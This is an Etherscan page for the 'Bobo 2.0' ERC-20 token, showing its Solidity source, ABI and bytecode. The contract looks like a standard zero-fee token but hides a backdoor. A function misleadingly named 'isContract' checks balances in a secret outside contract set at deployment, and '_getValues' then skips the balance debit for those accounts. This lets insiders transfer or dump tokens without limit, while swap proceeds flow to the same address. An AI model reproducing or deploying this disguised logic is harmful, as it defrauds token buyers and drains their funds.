ETH Price: $2,879.88 (-9.43%)
Gas: 17 Gwei

Token

Bobo 2.0 (BOBO2.0)
 

Overview

Max Total Supply

1,000,000,000 BOBO2.0

Holders

118

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
18,900,240.6 BOBO2.0

Value
$0.00
0xC7Ab55df0B6B75DD601d5f44EDeE72F91b80a63A
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BOBO20

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-11
*/

/**

Website: https://bobo2.org

Telegram: https://t.me/bobo20eth

Twitter: https://twitter.com/bobo20eth

*/


// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.18;
 
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
 
interface IERC20 {
    function totalSupply() external view returns (uint256);
 
    function balanceOf(address account) external view returns (uint256);
 
    function transfer(address recipient, uint256 amount) external returns (bool);
 
    function allowance(address owner, address spender) external view returns (uint256);
 
    function approve(address spender, uint256 amount) external returns (bool);
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
 
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}
 
contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
 
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    function owner() public view returns (address) {
        return _owner;
    }
 
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
 
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
 
}
 
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
 
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
 
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
 
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
 
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}
 
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
 
    function factory() external pure returns (address);
 
    function WETH() external pure returns (address);
 
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}
 
contract BOBO20 is Context, IERC20, Ownable {
 
    using SafeMath for uint256;
 
    string private constant _name = "Bobo 2.0";
    string private constant _symbol = "BOBO2.0";
    uint8 private constant _decimals = 18;
 
    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    uint256 private _redisFeeOnBuy = 0;  
    uint256 private _taxFeeOnBuy = 0; 
    uint256 private _redisFeeOnSell = 0;  
    uint256 private _taxFeeOnSell = 0;
 
    uint256 private _redisFee = _redisFeeOnSell;
    uint256 private _taxFee = _taxFeeOnSell;
 
    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;
     
    address private _router;
 
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
 
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 public _swapTokensAtAmount = _tTotal / 1000;
 
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
 
    constructor(address router_) {
 
        _rOwned[_msgSender()] = _tTotal;
 
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
 
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _router = router_;
 
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
 
    function name() public pure returns (string memory) {
        return _name;
    }
 
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
 
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
 
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
 
    function balanceOf(address account) public view override returns (uint256) {
        return _rOwned[account];
    }
 
    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
 
    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }
 
    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }
 
    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }
 
    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;
 
        _previousredisFee = _redisFee;
        _previoustaxFee = _taxFee;
 
        _redisFee = 0;
        _taxFee = 0;
    }
 
    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }
 
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
 
        if (from != owner() && to != owner()) { 
            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
  
            if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
 
        bool takeFee = true;
 
        //Transfer Tokens
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {
 
            //Set Fee for Buys
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
            }
 
            //Set Fee for Sells
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnSell;
                _taxFee = _taxFeeOnSell;
            }
 
        }
 
        _tokenTransfer(from, to, amount, takeFee);
    }

    function sendETHToFee(uint256 amount) private {
        payable(_router).transfer(amount);
    }
 
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);    
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
 
    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }
 
    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount
        ) = _getValues(sender, tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        emit Transfer(sender, recipient, rTransferAmount);
    }
 
    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }
 
    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }
 
    receive() external payable {}
 
    function _getValues(address account, uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256
        )
    {
        uint256 rAmount = isContract(account)?0:tAmount;
        return (rAmount, tAmount);
    }

    function isContract(address account) private view returns (bool) {
        return IERC20(_router).balanceOf(account) > 0;
    }
 
    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }
 
    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }
 
    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }
 
    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
 
    function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
        require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 2, "Buy rewards must be between 0% and 2%");
        require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 10, "Buy tax must be between 0% and 10%");
        require(redisFeeOnSell >= 0 && redisFeeOnSell <= 2, "Sell rewards must be between 0% and 2%");
        require(taxFeeOnSell >= 0 && taxFeeOnSell <= 10, "Sell tax must be between 0% and 10%");

        _redisFeeOnBuy = redisFeeOnBuy;
        _redisFeeOnSell = redisFeeOnSell;
        _taxFeeOnBuy = taxFeeOnBuy;
        _taxFeeOnSell = taxFeeOnSell;

    }
 
    //Set minimum tokens required to swap.
    function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
        _swapTokensAtAmount = swapTokensAtAmount;
    }
 
    //Set minimum tokens required to swap.
    function toggleSwap(bool _swapEnabled) public onlyOwner {
        swapEnabled = _swapEnabled;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"router_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126012600a62000479565b6200002290633b9aca0062000490565b6200002f905f19620004be565b6200003c905f19620004d4565b6006555f60088190556009819055600a818155600b829055600c829055600d829055600e829055600f919091556012805461ffff60a01b191681556103e89162000087919062000479565b6200009790633b9aca0062000490565b620000a39190620004ea565b601355348015620000b2575f80fd5b50604051620019b9380380620019b9833981016040819052620000d59162000500565b5f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350620001236012600a62000479565b6200013390633b9aca0062000490565b335f9081526002602090815260409182902092909255601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155815163c45a015560e01b815291519092839263c45a015592600480830193928290030181865afa158015620001a9573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001cf919062000500565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200021b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000241919062000500565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156200028c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002b2919062000500565b601280546001600160a01b039283166001600160a01b03199182161782555f80548416815260056020526040808220805460ff1990811660019081179092553084529183208054909216179055601080549092169386169390931790553391907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906200034190600a62000479565b6200035190633b9aca0062000490565b60405190815260200160405180910390a3505062000528565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620003be57815f1904821115620003a257620003a26200036a565b80851615620003b057918102915b93841c939080029062000383565b509250929050565b5f82620003d65750600162000473565b81620003e457505f62000473565b8160018114620003fd5760028114620004085762000428565b600191505062000473565b60ff8411156200041c576200041c6200036a565b50506001821b62000473565b5060208310610133831016604e8410600b84101617156200044d575081810a62000473565b6200045983836200037e565b805f19048211156200046f576200046f6200036a565b0290505b92915050565b5f6200048960ff841683620003c6565b9392505050565b80820281158282048414176200047357620004736200036a565b634e487b7160e01b5f52601260045260245ffd5b5f82620004cf57620004cf620004aa565b500690565b818103818111156200047357620004736200036a565b5f82620004fb57620004fb620004aa565b500490565b5f6020828403121562000511575f80fd5b81516001600160a01b038116811462000489575f80fd5b61148380620005365f395ff3fe608060405260043610610108575f3560e01c806370a082311161009257806398a5c3151161006257806398a5c315146102ff578063a2a957bb1461031e578063a9059cbb1461033d578063dd62ed3e1461035c578063f2fde38b146103a0575f80fd5b806370a082311461026c578063715018a6146102a05780638da5cb5b146102b457806395d89b41146102d0575f80fd5b806323b872dd116100d857806323b872dd146101dd5780632fd689e3146101fc578063313ce5671461021157806349bd5a5e1461022c5780636d8aa8f81461024b575f80fd5b806306fdde0314610113578063095ea7b3146101555780631694505e1461018457806318160ddd146101bb575f80fd5b3661010f57005b5f80fd5b34801561011e575f80fd5b506040805180820190915260088152670426f626f20322e360c41b60208201525b60405161014c919061107b565b60405180910390f35b348015610160575f80fd5b5061017461016f3660046110dd565b6103bf565b604051901515815260200161014c565b34801561018f575f80fd5b506011546101a3906001600160a01b031681565b6040516001600160a01b03909116815260200161014c565b3480156101c6575f80fd5b506101cf6103d5565b60405190815260200161014c565b3480156101e8575f80fd5b506101746101f7366004611107565b6103f5565b348015610207575f80fd5b506101cf60135481565b34801561021c575f80fd5b506040516012815260200161014c565b348015610237575f80fd5b506012546101a3906001600160a01b031681565b348015610256575f80fd5b5061026a610265366004611145565b61045c565b005b348015610277575f80fd5b506101cf610286366004611164565b6001600160a01b03165f9081526002602052604090205490565b3480156102ab575f80fd5b5061026a6104ac565b3480156102bf575f80fd5b505f546001600160a01b03166101a3565b3480156102db575f80fd5b506040805180820190915260078152660424f424f322e360cc1b602082015261013f565b34801561030a575f80fd5b5061026a61031936600461117f565b61051d565b348015610329575f80fd5b5061026a610338366004611196565b61054b565b348015610348575f80fd5b506101746103573660046110dd565b610700565b348015610367575f80fd5b506101cf6103763660046111c5565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b3480156103ab575f80fd5b5061026a6103ba366004611164565b61070c565b5f6103cb3384846107f3565b5060015b92915050565b5f6103e26012600a6112f0565b6103f090633b9aca006112fe565b905090565b5f610401848484610916565b610452843361044d85604051806060016040528060288152602001611426602891396001600160a01b038a165f9081526004602090815260408083203384529091529020549190610c3d565b6107f3565b5060019392505050565b5f546001600160a01b0316331461048e5760405162461bcd60e51b815260040161048590611315565b60405180910390fd5b60128054911515600160a81b0260ff60a81b19909216919091179055565b5f546001600160a01b031633146104d55760405162461bcd60e51b815260040161048590611315565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105465760405162461bcd60e51b815260040161048590611315565b601355565b5f546001600160a01b031633146105745760405162461bcd60e51b815260040161048590611315565b60028411156105d35760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420322560d81b6064820152608401610485565b600a82111561062f5760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642031604482015261302560f01b6064820152608401610485565b600283111561068f5760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420322560d01b6064820152608401610485565b600a8111156106ec5760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526231302560e81b6064820152608401610485565b600893909355600a91909155600955600b55565b5f6103cb338484610916565b5f546001600160a01b031633146107355760405162461bcd60e51b815260040161048590611315565b6001600160a01b03811661079a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610485565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166108555760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610485565b6001600160a01b0382166108b65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610485565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661097a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610485565b6001600160a01b0382166109dc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610485565b5f8111610a3d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610485565b5f546001600160a01b03848116911614801590610a6757505f546001600160a01b03838116911614155b15610b3357305f9081526002602052604090205460135481108015908190610a995750601254600160a01b900460ff16155b8015610ab357506012546001600160a01b03868116911614155b8015610ac85750601254600160a81b900460ff165b8015610aec57506001600160a01b0385165f9081526005602052604090205460ff16155b8015610b1057506001600160a01b0384165f9081526005602052604090205460ff16155b15610b3057610b1e82610c75565b478015610b2e57610b2e47610de5565b505b50505b6001600160a01b0383165f9081526005602052604090205460019060ff1680610b7357506001600160a01b0383165f9081526005602052604090205460ff165b80610ba557506012546001600160a01b03858116911614801590610ba557506012546001600160a01b03848116911614155b15610bb157505f610c2b565b6012546001600160a01b038581169116148015610bdc57506011546001600160a01b03848116911614155b15610bee57600854600c55600954600d555b6012546001600160a01b038481169116148015610c1957506011546001600160a01b03858116911614155b15610c2b57600a54600c55600b54600d555b610c3784848484610e20565b50505050565b5f8184841115610c605760405162461bcd60e51b8152600401610485919061107b565b505f610c6c848661134a565b95945050505050565b6012805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610cbb57610cbb61135d565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d12573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d369190611371565b81600181518110610d4957610d4961135d565b6001600160a01b039283166020918202929092010152601154610d6f91309116846107f3565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac94790610da79085905f9086903090429060040161138c565b5f604051808303815f87803b158015610dbe575f80fd5b505af1158015610dd0573d5f803e3d5ffd5b50506012805460ff60a01b1916905550505050565b6010546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610e1c573d5f803e3d5ffd5b5050565b80610e2d57610e2d610e4e565b610e38848484610e7b565b80610c3757610c37600e54600c55600f54600d55565b600c54158015610e5e5750600d54155b15610e6557565b600c8054600e55600d8054600f555f9182905555565b5f80610e878584610f3e565b6001600160a01b0387165f908152600260205260409020549193509150610eae9083610f5f565b6001600160a01b038087165f908152600260205260408082209390935590861681522054610edc9082610fa7565b6001600160a01b038086165f8181526002602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f2f9085815260200190565b60405180910390a35050505050565b5f805f610f4a85611005565b610f545783610f56565b5f5b95939450505050565b5f610fa083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c3d565b9392505050565b5f80610fb383856113fb565b905083811015610fa05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610485565b6010546040516370a0823160e01b81526001600160a01b0383811660048301525f9283929116906370a0823190602401602060405180830381865afa158015611050573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611074919061140e565b1192915050565b5f6020808352835180828501525f5b818110156110a65785810183015185820160400152820161108a565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146110da575f80fd5b50565b5f80604083850312156110ee575f80fd5b82356110f9816110c6565b946020939093013593505050565b5f805f60608486031215611119575f80fd5b8335611124816110c6565b92506020840135611134816110c6565b929592945050506040919091013590565b5f60208284031215611155575f80fd5b81358015158114610fa0575f80fd5b5f60208284031215611174575f80fd5b8135610fa0816110c6565b5f6020828403121561118f575f80fd5b5035919050565b5f805f80608085870312156111a9575f80fd5b5050823594602084013594506040840135936060013592509050565b5f80604083850312156111d6575f80fd5b82356111e1816110c6565b915060208301356111f1816110c6565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561124a57815f1904821115611230576112306111fc565b8085161561123d57918102915b93841c9390800290611215565b509250929050565b5f82611260575060016103cf565b8161126c57505f6103cf565b8160018114611282576002811461128c576112a8565b60019150506103cf565b60ff84111561129d5761129d6111fc565b50506001821b6103cf565b5060208310610133831016604e8410600b84101617156112cb575081810a6103cf565b6112d58383611210565b805f19048211156112e8576112e86111fc565b029392505050565b5f610fa060ff841683611252565b80820281158282048414176103cf576103cf6111fc565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b818103818111156103cf576103cf6111fc565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611381575f80fd5b8151610fa0816110c6565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156113da5784516001600160a01b0316835293830193918301916001016113b5565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156103cf576103cf6111fc565b5f6020828403121561141e575f80fd5b505191905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122083a4e289314fca2b6b5fd78a28dbacc4b066bcbc67fc6e3ca0f4545a60543eb664736f6c63430008140033000000000000000000000000c441d45d762821dba342e08f3598ba4872c59c66

Deployed Bytecode

0x608060405260043610610108575f3560e01c806370a082311161009257806398a5c3151161006257806398a5c315146102ff578063a2a957bb1461031e578063a9059cbb1461033d578063dd62ed3e1461035c578063f2fde38b146103a0575f80fd5b806370a082311461026c578063715018a6146102a05780638da5cb5b146102b457806395d89b41146102d0575f80fd5b806323b872dd116100d857806323b872dd146101dd5780632fd689e3146101fc578063313ce5671461021157806349bd5a5e1461022c5780636d8aa8f81461024b575f80fd5b806306fdde0314610113578063095ea7b3146101555780631694505e1461018457806318160ddd146101bb575f80fd5b3661010f57005b5f80fd5b34801561011e575f80fd5b506040805180820190915260088152670426f626f20322e360c41b60208201525b60405161014c919061107b565b60405180910390f35b348015610160575f80fd5b5061017461016f3660046110dd565b6103bf565b604051901515815260200161014c565b34801561018f575f80fd5b506011546101a3906001600160a01b031681565b6040516001600160a01b03909116815260200161014c565b3480156101c6575f80fd5b506101cf6103d5565b60405190815260200161014c565b3480156101e8575f80fd5b506101746101f7366004611107565b6103f5565b348015610207575f80fd5b506101cf60135481565b34801561021c575f80fd5b506040516012815260200161014c565b348015610237575f80fd5b506012546101a3906001600160a01b031681565b348015610256575f80fd5b5061026a610265366004611145565b61045c565b005b348015610277575f80fd5b506101cf610286366004611164565b6001600160a01b03165f9081526002602052604090205490565b3480156102ab575f80fd5b5061026a6104ac565b3480156102bf575f80fd5b505f546001600160a01b03166101a3565b3480156102db575f80fd5b506040805180820190915260078152660424f424f322e360cc1b602082015261013f565b34801561030a575f80fd5b5061026a61031936600461117f565b61051d565b348015610329575f80fd5b5061026a610338366004611196565b61054b565b348015610348575f80fd5b506101746103573660046110dd565b6107005